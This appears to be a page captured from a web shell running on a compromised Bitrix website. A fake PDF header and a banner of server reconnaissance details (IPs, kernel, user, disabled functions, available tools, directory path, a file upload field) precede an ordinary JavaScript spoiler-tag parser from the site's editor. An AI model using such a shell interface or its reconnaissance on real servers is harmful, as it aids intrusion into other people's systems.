%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.133.115.47 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.post.form/templates/.default/src/parsers/ |
Upload File : |
import {Loc} from 'main.core'; import Default from './default'; export default class Spoiler extends Default { id: string = 'spoiler'; buttonParams: ?Object = { name: Loc.getMessage('MPF_SPOILER'), iconClassName: 'spoiler', disabledForTextarea: false, src: Loc.getMessage('MPF_TEMPLATE_FOLDER') + '/images/lhespoiler.svg', toolbarSort: 205, } handler() { let result; // Iframe if (!this.htmlEditor.bbCode || !this.htmlEditor.synchro.IsFocusedOnTextarea()) { result = this.htmlEditor.action.actions.formatBlock.exec('formatBlock', 'blockquote', 'bx-spoiler', false, {bxTagParams : {tag: "spoiler"}}); } else // bbcode + textarea { result = this.htmlEditor.action.actions.formatBbCode.exec('quote', {tag: 'SPOILER'}); } return result; } parse(content, pLEditor) { if (/\[spoiler(([^\]])*)\]/gi.test(content)) { content = content. replace(/[\x01-\x02]/gi, ''). replace(/\[spoiler([^\]]*)\]/gi, '\x01$1\x01'). replace(/\[\/spoiler]/gi, '\x02'); const reg2 = /(?:\x01([^\x01]*)\x01)([^\x01-\x02]+)\x02/gi; while (content.match(reg2)) { content = content.replace(reg2, function(str, title, body) { title = title.replace(/^(="|='|=)/gi, '').replace(/("|')?$/gi, ''); return `<blockquote class="bx-spoiler" id="${this.htmlEditor.SetBxTag(false, {tag: "spoiler"})}" title="${title}">${body}</blockquote>`; }.bind(this)); } } content = content. replace(/\001([^\001]*)\001/gi, '[spoiler$1]'). replace(/\002/gi, '[/spoiler]'); return content; } unparse(bxTag, oNode) { let name = ''; for (let i = 0; i < oNode.node.childNodes.length; i++) { name += this.htmlEditor.bbParser.GetNodeHtml(oNode.node.childNodes[i]); } name = name.trim(); if (name !== '') { return "[SPOILER" + (oNode.node.hasAttribute("title") ? '=' + oNode.node.getAttribute("title") : '')+ "]" + name +"[/SPOILER]"; } return ""; } }